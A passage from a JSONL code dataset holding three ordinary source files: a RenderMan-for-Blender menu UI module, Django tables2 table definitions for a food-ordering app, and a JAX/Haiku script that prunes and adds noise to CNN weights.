draw(self, context):\n layout = self.layout\n op = layout.operator('object.rman_add_rman_geo', text='Sphere', icon='MESH_UVSPHERE')\n op.rman_prim_type = 'QUADRIC'\n op.rman_quadric_type = 'SPHERE'\n op.bl_prim_type = ''\n op.rman_open_filebrowser = False\n\n op = layout.operator('object.rman_add_rman_geo', text='Cylinder', icon='MESH_CYLINDER')\n op.rman_prim_type = 'QUADRIC'\n op.rman_quadric_type = 'CYLINDER'\n op.bl_prim_type = ''\n op.rman_open_filebrowser = False\n\n op = layout.operator('object.rman_add_rman_geo', text='Cone', icon='MESH_CONE')\n op.rman_prim_type = 'QUADRIC'\n op.rman_quadric_type = 'CONE'\n op.bl_prim_type = ''\n op.rman_open_filebrowser = False\n\n op = layout.operator('object.rman_add_rman_geo', text='Disk', icon='MESH_CIRCLE')\n op.rman_prim_type = 'QUADRIC'\n op.rman_quadric_type = 'DISK' \n op.bl_prim_type = ''\n op.rman_open_filebrowser = False \n\n op = layout.operator('object.rman_add_rman_geo', text='Torus', icon='MESH_TORUS')\n op.rman_prim_type = 'QUADRIC'\n op.rman_quadric_type = 'TORUS' \n op.bl_prim_type = ''\n op.rman_open_filebrowser = False \n\nclass VIEW3D_MT_renderman_object_context_menu(Menu):\n bl_label = \"RenderMan\"\n bl_idname = \"VIEW3D_MT_renderman_object_context_menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls):\n return rfb_icons.get_icon(\"rman_blender\").icon_id \n\n def draw(self, context):\n layout = self.layout\n is_rman_running = context.scene.renderman.is_rman_running\n is_rman_interactive_running = context.scene.renderman.is_rman_interactive_running\n\n if is_rman_running and not is_rman_interactive_running:\n rman_icon = rfb_icons.get_icon(\"rman_ipr_cancel\")\n layout.operator('renderman.stop_render', text=\"Stop Render\",\n icon_value=rman_icon.icon_id)\n return \n\n selected_objects = []\n selected_light_objects = []\n if context.selected_objects:\n for obj in context.selected_objects:\n if shadergraph_utils.is_rman_light(obj, include_light_filters=False): \n selected_light_objects.append(obj)\n elif obj.type not in ['CAMERA', 'LIGHT', 'SPEAKER']:\n selected_objects.append(obj)\n\n layout.menu('VIEW3D_MT_RM_Add_Render_Menu', icon_value=VIEW3D_MT_RM_Add_Render_Menu.get_icon_id())\n if selected_light_objects:\n layout.separator()\n layout.operator_menu_enum(\n \"object.rman_add_light_filter\", 'rman_lightfilter_name', text=\"Attach New Light Filter\", icon='LIGHT') \n\n layout.separator()\n if selected_objects:\n # Add Bxdf \n layout.menu('VIEW3D_MT_RM_Add_bxdf_Menu', text='Add New Material', icon_value=bpy.types.VIEW3D_MT_RM_Add_bxdf_Menu.get_icon_id()) \n\n # Make Selected Geo Emissive\n rman_meshlight = rfb_icons.get_icon(\"out_PxrMeshLight\")\n layout.operator(\"object.rman_create_meshlight\", text=\"Convert to Mesh Light\",\n icon_value=rman_meshlight.icon_id)\n\n # Add Subdiv Sheme\n rman_subdiv = rfb_icons.get_icon(\"rman_subdiv\")\n layout.operator(\"mesh.rman_convert_subdiv\",\n text=\"Convert to Subdiv\", icon_value=rman_subdiv.icon_id)\n\n layout.separator()\n layout.menu('VIEW3D_MT_RM_Add_Export_Menu', icon_value=VIEW3D_MT_RM_Add_Export_Menu.get_icon_id())\n\n # Diagnose \n layout.separator()\n column = layout.column()\n column.enabled = not is_rman_interactive_running\n row = column.row()\n rman_rib = rfb_icons.get_icon('rman_rib_small')\n row.operator(\"renderman.open_scene_rib\", text='View RIB', icon_value=rman_rib.icon_id)\n if selected_objects or selected_light_objects:\n row = column.row()\n row.operator(\"renderman.open_selected_rib\", text='View Selected RIB', icon_value=rman_rib.icon_id) \n\n layout.separator()\n layout.label(text='Groups')\n layout.menu('VIEW3D_MT_RM_Add_Selected_To_ObjectGroup_Menu', text='Trace Sets') \n layout.menu('VIEW3D_MT_RM_Add_Selected_To_LightMixer_Menu', text='Light Mixer Groups') \n layout.menu('VIEW3D_MT_RM_LightLinking_Menu', text='Light Linking') \n layout.menu('VIEW3D_MT_RM_Volume_Aggregates_Menu', text='Volume Aggregates') \n layout.separator()\n layout.menu('VIEW3D_MT_RM_Stylized_Menu', text='Stylized Looks') \n\n if envconfig().getenv('RFB_DEVELOPER'):\n layout.separator()\n layout.menu('VIEW3D_MT_RM_Dev_Menu')\n\nclass VIEW3D_MT_RM_LightLinking_Menu(bpy.types.Menu):\n bl_label = \"Light Linking\"\n bl_idname = \"VIEW3D_MT_RM_LightLinking_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_blender\").icon_id\n\n def draw(self, context):\n rm = context.scene.renderman\n layout = self.layout\n layout.operator(\"scene.rman_open_light_linking\", text=\"Light Linking Editor\")\n\n active_light = context.active_object\n selected_objects = context.selected_objects\n if active_light and active_light.type != 'LIGHT':\n pass\n '''\n if selected_objects:\n layout.separator()\n for l in scene_utils.get_all_lights(context.scene):\n layout.context_pointer_set('light_ob', l)\n layout.menu('VIEW3D_MT_RM_LightLinking_SubMenu', text=l.name) \n '''\n return\n light_props = shadergraph_utils.get_rman_light_properties_group(active_light)\n if light_props is None:\n return\n if light_props.renderman_light_role not in {'RMAN_LIGHTFILTER', 'RMAN_LIGHT'}:\n return\n if using_qt() and show_wip_qt():\n return\n selected_objects = context.selected_objects\n if selected_objects:\n layout.context_pointer_set('light_ob', active_light)\n if not rm.invert_light_linking:\n layout.separator()\n op = layout.operator('renderman.update_light_link_illuminate', text=\"Default\")\n op.illuminate = 'DEFAULT'\n op = layout.operator('renderman.update_light_link_illuminate', text=\"On\")\n op.illuminate = 'ON'\n op = layout.operator('renderman.update_light_link_illuminate', text=\"Off\")\n op.illuminate = 'OFF'\n layout.separator()\n op = layout.operator('renderman.update_light_link_objects', text=\"Link selected to %s\" % active_light.name)\n op.update_type = 'ADD'\n op = layout.operator('renderman.update_light_link_objects', text=\"Remove Selected from %s\" % active_light.name)\n op.update_type = 'REMOVE'\n\nclass VIEW3D_MT_RM_LightLinking_SubMenu(bpy.types.Menu):\n bl_label = \"Light Linking Submenu\"\n bl_idname = \"VIEW3D_MT_RM_LightLinking_SubMenu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_blender\").icon_id\n\n def draw(self, context):\n rm = context.scene.renderman\n layout = self.layout\n active_light = context.light_ob\n\n selected_objects = context.selected_objects\n if selected_objects:\n layout.context_pointer_set('light_ob', active_light)\n layout.separator()\n op = layout.operator('renderman.update_light_link_illuminate', text=\"Default\")\n op.illuminate = 'DEFAULT'\n op = layout.operator('renderman.update_light_link_illuminate', text=\"On\")\n op.illuminate = 'ON'\n op = layout.operator('renderman.update_light_link_illuminate', text=\"Off\")\n op.illuminate = 'OFF'\n layout.separator()\n op = layout.operator('renderman.update_light_link_objects', text=\"Link selected to %s\" % active_light.name)\n op.update_type = 'ADD'\n op = layout.operator('renderman.update_light_link_objects', text=\"Remove Selected from %s\" % active_light.name)\n op.update_type = 'REMOVE' \n\nclass VIEW3D_MT_RM_Volume_Aggregates_Menu(bpy.types.Menu):\n bl_label = \"Volume Aggregates\"\n bl_idname = \"VIEW3D_MT_RM_Volume_Aggregates_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_blender\").icon_id\n\n def draw(self, context):\n rm = context.scene.renderman\n layout = self.layout\n rman_vol_agg = rfb_icons.get_icon(\"rman_vol_aggregates\") \n layout.operator(\"scene.rman_open_vol_aggregates_editor\", text=\"Volume Aggregates Editor\", icon_value=rman_vol_agg.icon_id)\n layout.separator()\n if using_qt() and show_wip_qt():\n return \n op = layout.operator(\"renderman.add_remove_volume_aggregates\", text=\"Create New Group\")\n op.context=\"scene.renderman\"\n op.collection=\"vol_aggregates\"\n op.collection_index=\"vol_aggregates_index\"\n op.defaultname='VolumeAggreagte_%d' % len(rm.vol_aggregates) \n selected_objects = list()\n for ob in context.selected_objects:\n if object_utils._detect_primitive_(ob) in RMAN_VOL_TYPES:\n selected_objects.append(ob)\n if not selected_objects:\n return\n vol_aggregates = rm.vol_aggregates\n if vol_aggregates:\n layout.separator()\n layout.label(text='Add Selected To: ') \n for i, v in enumerate(vol_aggregates):\n if i == 0:\n continue\n op = layout.operator('renderman.add_to_vol_aggregate', text=v.name)\n op.vol_aggregates_index = i\n op.do_scene_selected = True\n\nclass VIEW3D_MT_RM_Stylized_Menu(bpy.types.Menu):\n bl_label = \"Stylized Looks\"\n bl_idname = \"VIEW3D_MT_RM_Stylized_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_blender\").icon_id\n\n def draw(self, context):\n rm = context.scene.renderman\n layout = self.layout\n '''\n if rm.render_rman_stylized: \n layout.operator_menu_enum('node.rman_attach_stylized_pattern', 'stylized_pattern')\n layout.operator(\"scene.rman_open_stylized_editor\", text=\"Stylized Looks Editor\") \n else:\n op = layout.operator(\"scene.rman_enable_stylized_looks\", text=\"Enable Stylized Looks\") \n op.open_editor = True\n ''' \n if rm.render_rman_stylized: \n layout.operator_menu_enum('node.rman_attach_stylized_pattern', 'stylized_pattern')\n layout.operator(\"scene.rman_open_stylized_editor\", text=\"Stylized Looks Editor\") \n \n\nclass VIEW3D_MT_RM_Add_Render_Menu(bpy.types.Menu):\n bl_label = \"Render\"\n bl_idname = \"VIEW3D_MT_RM_Add_Render_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_blender\").icon_id\n\n def draw(self, context):\n layout = self.layout\n rm = context.scene.renderman\n\n if not rm.is_rman_interactive_running:\n rman_rerender_controls = rfb_icons.get_icon(\"rman_ipr_on\")\n op = layout.operator('renderman.start_ipr', text=\"IPR\",\n icon_value=rman_rerender_controls.icon_id) \n op.render_to_it = False\n op = layout.operator('renderman.start_ipr', text=\"IPR to it\",\n icon_value=rman_rerender_controls.icon_id) \n op.render_to_it = True \n rman_render_icon = rfb_icons.get_icon(\"rman_render\")\n layout.operator(\"render.render\", text=\"Render\",\n icon_value=rman_render_icon.icon_id) \n else:\n rman_rerender_controls = rfb_icons.get_icon(\"rman_ipr_cancel\")\n layout.operator('renderman.stop_ipr', text=\"Stop IPR\",\n icon_value=rman_rerender_controls.icon_id) \n layout.separator()\n rman_icon = rfb_icons.get_icon('rman_vp_viz')\n layout.menu('PRMAN_MT_Viewport_Integrator_Menu', icon_value=rman_icon.icon_id)\n layout.menu('PRMAN_MT_Viewport_Refinement_Menu', icon='IMPORT')\n if rm.is_rman_viewport_rendering:\n rman_icon = rfb_icons.get_icon('rman_vp_resolution')\n layout.menu('PRMAN_MT_Viewport_Res_Mult_Menu', icon_value=rman_icon.icon_id)\n rman_icon = rfb_icons.get_icon('rman_vp_aovs')\n layout.menu('PRMAN_MT_Viewport_Channel_Sel_Menu', icon_value=rman_icon.icon_id)\n rman_icon = rfb_icons.get_icon('rman_vp_crop')\n layout.operator(\"renderman_viewport.cropwindow\", icon_value=rman_icon.icon_id)\n rman_icon = rfb_icons.get_icon('rman_vp_snapshot')\n layout.operator(\"renderman_viewport.snapshot\", icon_value=rman_icon.icon_id)\n layout.operator('renderman_viewport.enhance', icon='VIEW_ZOOM') \n # texture cache clear \n rman_icon = rfb_icons.get_icon('rman_lightning_grey')\n layout.operator('rman_txmgr_list.clear_all_cache', icon_value=rman_icon.icon_id) \n\nclass VIEW3D_MT_RM_Add_Export_Menu(bpy.types.Menu):\n bl_label = \"Export\"\n bl_idname = \"VIEW3D_MT_RM_Add_Export_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_CreateArchive\").icon_id\n\n def draw(self, context):\n layout = self.layout\n\n rman_archive = rfb_icons.get_icon(\"rman_CreateArchive\")\n layout.operator(\"export.rman_export_rib_archive\",\n icon_value=rman_archive.icon_id) \n layout.operator(\"renderman.bake_selected_brickmap\", text=\"Bake Object to Brickmap\") \n\nclass VIEW3D_MT_RM_Add_Selected_To_ObjectGroup_Menu(bpy.types.Menu):\n bl_label = \"Trace Sets\"\n bl_idname = \"VIEW3D_MT_RM_Add_Selected_To_ObjectGroup_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER' \n\n def draw(self, context):\n layout = self.layout\n scene = context.scene\n\n op = layout.operator(\"scene.rman_open_groups_editor\", text=\"Trace Sets Editor\")\n if using_qt() and show_wip_qt():\n return\n selected_objects = []\n if context.selected_objects:\n for obj in context.selected_objects:\n if obj.type not in ['CAMERA', 'LIGHT', 'SPEAKER']:\n selected_objects.append(obj) \n\n if not selected_objects:\n return \n\n layout.separator()\n op = layout.operator('renderman.add_remove_object_groups', text='Create New Trace Set')\n op.context = 'scene.renderman'\n op.collection = 'object_groups'\n op.collection_index = 'object_groups_index'\n op.defaultname = 'objectGroup_%d' % len(scene.renderman.object_groups)\n op.action = 'ADD' \n\n obj_grps = scene.renderman.object_groups\n if obj_grps:\n layout.separator()\n layout.label(text='Add Selected To: ') \n\n for i, obj_grp in enumerate(obj_grps.keys()):\n op = layout.operator('renderman.add_to_group', text=obj_grp)\n op.do_scene_selected = True \n op.open_editor = not using_qt()\n op.group_index = i\n\nclass VIEW3D_MT_RM_Add_Selected_To_LightMixer_Menu(bpy.types.Menu):\n bl_label = \"Light Mixer\"\n bl_idname = \"VIEW3D_MT_RM_Add_Selected_To_LightMixer_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER' \n\n def draw(self, context):\n layout = self.layout\n scene = context.scene\n layout.operator('scene.rman_open_light_mixer_editor', text='Light Mixer Editor') \n layout.separator()\n if using_qt() and show_wip_qt():\n return \n selected_light_objects = []\n if context.selected_objects:\n for obj in context.selected_objects:\n if shadergraph_utils.is_rman_light(obj, include_light_filters=False):\n selected_light_objects.append(obj) \n\n if not selected_light_objects:\n return \n\n op = layout.operator('collection.add_remove', text='Create Light Mixer Group')\n op.context = 'scene.renderman'\n op.collection = 'light_mixer_groups'\n op.collection_index = 'light_mixer_groups_index'\n op.defaultname = 'mixerGroup_%d' % len(scene.renderman.light_mixer_groups)\n op.action = 'ADD'\n \n lgt_mixer_grps = scene.renderman.light_mixer_groups\n if lgt_mixer_grps:\n layout.separator()\n layout.label(text='Add Selected To: ')\n for i, obj_grp in enumerate(lgt_mixer_grps.keys()):\n op = layout.operator('renderman.add_light_to_light_mixer_group', text=obj_grp)\n op.do_scene_selected = True \n op.open_editor = True\n op.group_index = i \n\nclass VIEW3D_MT_RM_Add_Light_Menu(bpy.types.Menu):\n bl_label = \"Light\"\n bl_idname = \"VIEW3D_MT_RM_Add_Light_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_arealight\").icon_id \n\n def draw(self, context):\n layout = self.layout\n\n for nm, nm, description, icon, i in get_light_items():\n op = layout.operator('object.rman_add_light', text=nm, icon_value=icon)\n op.rman_light_name = nm \n\nclass VIEW3D_MT_RM_Add_LightFilter_Menu(bpy.types.Menu):\n bl_label = \"Light Filter\"\n bl_idname = \"VIEW3D_MT_RM_Add_LightFilter_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls): \n return rfb_icons.get_icon(\"rman_lightfilter\").icon_id \n\n def draw(self, context):\n layout = self.layout\n\n for nm, nm, description, icon, i in get_lightfilter_items():\n op = layout.operator('object.rman_add_light_filter', text=nm, icon_value=icon)\n op.rman_lightfilter_name = nm \n\nclass VIEW3D_MT_RM_Add_bxdf_Menu(bpy.types.Menu):\n bl_label = \"Material\"\n bl_idname = \"VIEW3D_MT_RM_Add_bxdf_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls):\n return rfb_icons.get_icon(\"out_PxrSurface\").icon_id \n\n def draw(self, context):\n layout = self.layout\n\n for nm, label, description, icon, i in get_bxdf_items():\n if not nm:\n layout.separator()\n layout.label(text=label)\n continue\n op = layout.operator('object.rman_add_bxdf', text=nm, icon_value=icon)\n op.bxdf_name = nm \n\nclass VIEW3D_MT_RM_Dev_Menu(bpy.types.Menu):\n bl_label = \"Developer\"\n bl_idname = \"VIEW3D_MT_RM_Dev_Menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n def draw(self, context):\n layout = self.layout\n layout.operator('renderman.start_debug_server') \n\ndef rman_add_object_menu(self, context):\n\n rd = context.scene.render\n if rd.engine != 'PRMAN_RENDER':\n return \n\n layout = self.layout\n layout.menu('VIEW3D_MT_renderman_add_object_menu', text='RenderMan', icon_value=bpy.types.VIEW3D_MT_renderman_add_object_menu.get_icon_id())\n\ndef rman_object_context_menu(self, context):\n\n rd = context.scene.render\n layout = self.layout \n if rd.engine != 'PRMAN_RENDER':\n layout.operator('renderman.use_renderman', text='Use RenderMan', icon_value=rfb_icons.get_icon(\"rman_blender\").icon_id) \n layout.separator()\n else:\n layout.menu('VIEW3D_MT_renderman_object_context_menu', text='RenderMan', icon_value=bpy.types.VIEW3D_MT_renderman_add_object_menu.get_icon_id()) \n\nclasses = [\n VIEW3D_MT_renderman_add_object_menu,\n VIEW3D_MT_renderman_add_object_quadrics_menu,\n VIEW3D_MT_renderman_add_object_volumes_menu,\n VIEW3D_MT_renderman_object_context_menu,\n VIEW3D_MT_RM_Add_Selected_To_ObjectGroup_Menu,\n VIEW3D_MT_RM_Add_Selected_To_LightMixer_Menu,\n VIEW3D_MT_RM_Add_Light_Menu,\n VIEW3D_MT_RM_Add_LightFilter_Menu,\n VIEW3D_MT_RM_Add_bxdf_Menu,\n VIEW3D_MT_RM_Add_Export_Menu,\n VIEW3D_MT_RM_Add_Render_Menu,\n VIEW3D_MT_RM_Stylized_Menu,\n VIEW3D_MT_RM_LightLinking_Menu,\n VIEW3D_MT_RM_LightLinking_SubMenu,\n VIEW3D_MT_RM_Volume_Aggregates_Menu,\n VIEW3D_MT_RM_Dev_Menu\n]\n\ndef register():\n from ..rfb_utils import register_utils\n\n register_utils.rman_register_classes(classes) \n\n bpy.types.VIEW3D_MT_add.prepend(rman_add_object_menu)\n bpy.types.VIEW3D_MT_object_context_menu.prepend(rman_object_context_menu)\n\n\ndef unregister():\n bpy.types.VIEW3D_MT_add.remove(rman_add_object_menu)\n bpy.types.VIEW3D_MT_object_context_menu.remove(rman_object_context_menu)\n\n from ..rfb_utils import register_utils\n\n register_utils.rman_unregister_classes(classes) ","repo_name":"Caio2715/RenderManForBlender","sub_path":"rman_ui/rman_ui_view3d_menus.py","file_name":"rman_ui_view3d_menus.py","file_ext":"py","file_size_in_byte":27611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"20039697018","text":"import django_tables2 as tables\nfrom django.utils.translation import gettext_lazy as _\n\nfrom mainapp.models import Client, Menu, Food, Extra, Order\n\nROW_ATTRS = {\n \"data-id\": lambda record: record.pk,\n}\nATTRS = {\n \"class\": \"table table-borderless table-striped table-earning\"\n}\nEMPTY_TEXT = _('Empty')\n\n\nclass TableWithActionsMixin(tables.Table):\n actions = tables.TemplateColumn(template_name=\"dashboard/table_templates/actions_buttons.html\",\n verbose_name=_('Actions'), )\n\n\nclass ClientTable(TableWithActionsMixin, tables.Table):\n full_name = tables.Column(order_by=('first_name', 'last_name'), verbose_name=_('Name'))\n\n class Meta:\n model = Client\n fields = ('full_name', 'phone', 'email', 'verified')\n empty_text = EMPTY_TEXT\n row_attrs = ROW_ATTRS\n attrs = ATTRS\n\n\nclass MenuTable(TableWithActionsMixin, tables.Table):\n image = tables.TemplateColumn(' ')\n\n class Meta:\n model = Menu\n fields = ('image', 'name', 'audio_file_name', 'font_name', 'available', 'price')\n empty_text = EMPTY_TEXT\n row_attrs = ROW_ATTRS\n attrs = ATTRS\n\n\nclass FoodTable(TableWithActionsMixin, tables.Table):\n image = tables.TemplateColumn(' ')\n actual_price = tables.Column(order_by=('price', 'discount_price'), verbose_name=_('Actual Price'))\n\n class Meta:\n model = Food\n fields = ('image', 'name', 'price', 'discount_price', 'actual_price', 'section__name')\n empty_text = EMPTY_TEXT\n row_attrs = ROW_ATTRS\n attrs = ATTRS\n\n\nclass ExtraTable(TableWithActionsMixin, tables.Table):\n image = tables.TemplateColumn(' ')\n actual_price = tables.Column(order_by=('price', 'discount_price'), verbose_name=_('Actual Price'))\n\n class Meta:\n model = Extra\n fields = ('image', 'name', 'type', 'price', 'discount_price', 'actual_price',)\n empty_text = EMPTY_TEXT\n row_attrs = ROW_ATTRS\n attrs = ATTRS\n\n\nclass OrderTable(TableWithActionsMixin, tables.Table):\n client = tables.Column(verbose_name=_('Client'), )\n get_phone = tables.Column(verbose_name=_('Phone'))\n get_address = tables.Column(verbose_name=_('Address'))\n items_count = tables.Column(verbose_name=_('Items'))\n\n class Meta:\n model = Order\n fields = ('number', 'client', 'get_phone', 'get_address', 'cost', 'items_count')\n empty_text = EMPTY_TEXT\n row_attrs = ROW_ATTRS\n attrs = ATTRS\n","repo_name":"Simouche/zetraiteur-backend","sub_path":"mainapp/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"278090842","text":"import torch\nimport numpy as np\nimport json\n\nimport haiku as hk\nimport jax\nimport functools\nfrom jax import nn, random, image, jit, grad\nimport jax.numpy as jnp\nfrom jax.flatten_util import ravel_pytree\n\nfrom haiku import initializers\nfrom haiku._src.basic import Linear\nfrom haiku._src.conv import Conv2D\nfrom haiku._src.batch_norm import BatchNorm\nfrom haiku._src.module import Module\nfrom typing import Callable, Tuple\nfrom haiku.initializers import Initializer, Constant, RandomNormal, TruncatedNormal, VarianceScaling\n\nfrom optax import adam, rmsprop, sgd, softmax_cross_entropy, apply_updates\n\nfrom scipy.stats import skew\n\nimport datasets\n\n\noptimizer_dict = {\n \"Adam\": adam,\n \"RMSProp\": rmsprop,\n \"MomentumSGD\": functools.partial(sgd, momentum=0.9),\n}\n\nactivation_dict = {\n \"ReLU\": nn.relu,\n \"ELU\": nn.elu,\n \"Sigmoid\": nn.sigmoid,\n \"Tanh\": nn.tanh,\n}\n\ninitializer_dict = {\n \"Constant\": Constant(0.1),\n \"RandomNormal\": RandomNormal(),\n \"GlorotUniform\": VarianceScaling(1.0, \"fan_avg\", \"uniform\"),\n \"GlorotNormal\": VarianceScaling(1.0, \"fan_avg\", \"truncated_normal\"),\n}\n\n\"\"\"\ndataset_dict = {\n \"MNIST\": datasets.load_dataset(\"mnist\", split=\"train\").with_format(\"jax\"),\n \"CIFAR-10\": datasets.load_dataset(\"cifar10\", split=\"train\").with_format(\"jax\").rename_column('img', 'image'),\n \"SVHN\": datasets.load_dataset(\"svhn\", \"cropped_digits\", split=\"train\").with_format(\"jax\"),\n \"Fashion-MNIST\": datasets.load_dataset(\"fashion_mnist\", split=\"train\").with_format(\"jax\"), \n}\n\"\"\"\n\n\n\nclass CTCNet(hk.Module):\n def __init__(self,\n n_classes: int,\n activation: Callable = nn.relu,\n w_init: Initializer = TruncatedNormal(),\n kernel_size: Tuple[int, int] = (5, 5),\n n_conv_layers: int = 3,\n n_filters: int = 32,\n n_fc_layers: int = 3,\n fc_width: int = 128,\n dropout_rate: float = 0.5):\n super().__init__()\n self.n_classes = n_classes\n self.activation = activation\n self.w_init = w_init\n self.kernel_size = kernel_size\n self.n_conv_layers = n_conv_layers\n self.n_filters = n_filters\n self.n_fc_layers = n_fc_layers\n self.fc_width = fc_width\n self.dropout_rate = dropout_rate\n\n def __call__(self, x: jnp.ndarray, is_training: bool) -> jnp.ndarray:\n for _ in range(self.n_conv_layers):\n x = hk.Conv2D(output_channels=self.n_filters, kernel_shape=self.kernel_size,\n padding=\"SAME\", w_init=self.w_init)(x)\n x = hk.BatchNorm(create_scale=True, create_offset=True, decay_rate=0.9)(x, is_training)\n x = self.activation(x)\n\n x = hk.Flatten()(x)\n\n for _ in range(self.n_fc_layers - 1):\n x = hk.Linear(self.fc_width, w_init=self.w_init)(x)\n x = hk.BatchNorm(create_scale=True, create_offset=True, decay_rate=0.9)(x, is_training)\n x = self.activation(x)\n x = hk.dropout(hk.next_rng_key(), self.dropout_rate, x) if is_training else x\n\n x = hk.Linear(self.n_classes, w_init=self.w_init)(x)\n return x\n\n\n# Load the hyperparameters from the JSON file\nwith open('./transfer/0/run_data.json', 'r') as f:\n data = json.load(f)\nhyperparameters = data['hyperparameters']\n\ndef net_fn(x: jnp.ndarray, is_training: bool) -> jnp.ndarray:\n return CTCNet(n_classes=10,\n activation=activation_dict[hyperparameters['activation']],\n w_init=initializer_dict[hyperparameters['initialization']],\n n_conv_layers=3,\n n_filters=32,\n n_fc_layers=3,\n fc_width=128,\n dropout_rate=0.5)(x, is_training)\n\n# Transform it into a haiku model\nnet = hk.transform(net_fn)\n\nparams = jnp.load('./transfer/0/epoch_20.npy', allow_pickle=True).item()\n\nprint(\"NETWORK ARCHITECTURE\")\nfor layer, param_dict in params.items():\n for param_name, array in param_dict.items():\n print(f\"{layer} {param_name} shape: {array.shape}\")\n\n\n\"\"\"\nMaskig approach to pruning. This should still be considered as pruning but applied with a mask.\nEssentially, you create a mask of the same shape as your weights. The mask contains 1s for weights you want to keep and 0s for weights you want to prune. \nThen, you simply multiply the weights with the mask. This has the effect of \"zeroing out\" the pruned weights.\n\nIn this example, we're creating a binary mask for each layer of weights, where values in the mask are set to 1 \nif the corresponding weight is greater than the pruning threshold and 0 otherwise. \n\"\"\"\n\n\ndef create_mask(params, prune_ratio):\n mask = {}\n for layer, param_dict in params.items():\n sub_mask = {}\n for k, v in param_dict.items():\n if 'w' in k:\n # Compute the threshold\n threshold = jnp.percentile(jnp.abs(v), prune_ratio * 100)\n # Create a mask that is 1 where weights are greater than the threshold and 0 otherwise\n sub_mask[k] = jnp.where(jnp.abs(v) > threshold, 1, 0)\n else:\n # For biases just create a mask of ones\n sub_mask[k] = jnp.ones_like(v)\n mask[layer] = sub_mask\n return mask\n\ndef apply_mask(params, mask):\n pruned_params = {}\n for layer, param_dict in params.items():\n layer_params = {}\n for k, v in param_dict.items():\n if 'w' in layer_name:\n layer_param[k] = v * mask[layer][k]\n else:\n layer_param[k] = v\n pruned_params[layer] = layer_param\n return pruned_params\n\n\n\"\"\"\nAdding noise to weights. This can be done by simply creating a noise tensor of the same shape as your weights and then adding it. \n\n\"\"\"\n\n\ndef add_noise(params, noise_type = 'normal', std_dev=0.05, noise_ratio=0.1, scale = 1.0, lam=10.0):\n\n \"\"\"\n The function adds different types of noise which correspond to different probability distributions.\n jax.random.bernoulli is used to generate a binary mask indicating where to apply noise.\n\n The standard type of noise is (normally-distributed) GAUSSIAN NOISE. \n The jax.random.normal function is used to generate noise values with a standard deviation specified by the std_dev parameter. \n This controls the amount of noise added - a larger std_dev means more noise.\n\n UNIFORM NOISE: The uniform distribution has equal probability for all values in a given range. \n This means that every value within the defined bounds (minval and maxval) has an equal chance of being picked.\n\n BERNOULLI NOISE: The Bernoulli distribution has only two possible outcomes with a probability 'p' and '1-p'. \n\n LAPLACE AND CAUCHY NOISE: The Laplace and Cauchy distributions are similar to the Gaussian distribution, but with heavier tails. \n This means it is more likely to produce values far from the mean. \n In the context of adding noise, the choice between these two would depend on your specific needs. \n For instance, if you wanted noise that can occasionally generate more extreme outliers, you might opt for Cauchy noise. \n If you want noise that is less likely to generate extreme values but still heavier-tailed than Gaussian noise, you might opt for Laplace noise.\n\n POISSON NOISE: The Poisson distribution is defined over the integers and is typically used to model counts. \n Poisson noise is integer-valued and thus may not be suitable for all tasks.\n \n \"\"\"\n rng = jax.random.PRNGKey(0)\n params_noisy = {}\n \n for layer, param_dict in params.items():\n layer_params = {}\n for k, v in param_dict.items():\n if 'w' in k:\n weights = v\n rng, subkey = jax.random.split(rng)\n noise_mask = jax.random.bernoulli(subkey, noise_ratio, weights.shape)\n rng, subkey = jax.random.split(rng)\n\n if noise_type == \"normal\":\n noise_values = jax.random.normal(subkey, shape = weights.shape) * std_dev\n elif noise_type == \"uniform\":\n noise_values = jax.random.uniform(subkey, shape = weights.shape, minval=-scale, maxval=scale) \n elif noise_type == \"laplace\":\n noise_values = jax.random.laplace(subkey, shape = weights.shape) * scale\n elif noise_type == \"bernoulli\":\n noise_values = jax.random.bernoulli(subkey, p=0.5, shape = weights.shape) * scale\n elif noise_type == \"cauchy\":\n noise_values = jax.random.cauchy(subkey, shape = weights.shape) * scale\n elif noise_type == \"poisson\":\n noise_values = jax.random.poisson(subkey, lam=lam, shape = weights.shape)\n \n weights_noisy = jnp.where(noise_mask, weights + noise_values, weights)\n layer_params[k] = weights_noisy\n else:\n layer_params[k] = v\n params_noisy[layer] = layer_params\n return params_noisy\n\n\n\n\ndef main():\n for i in range(1):\n params = jnp.load('./transfer/'+ 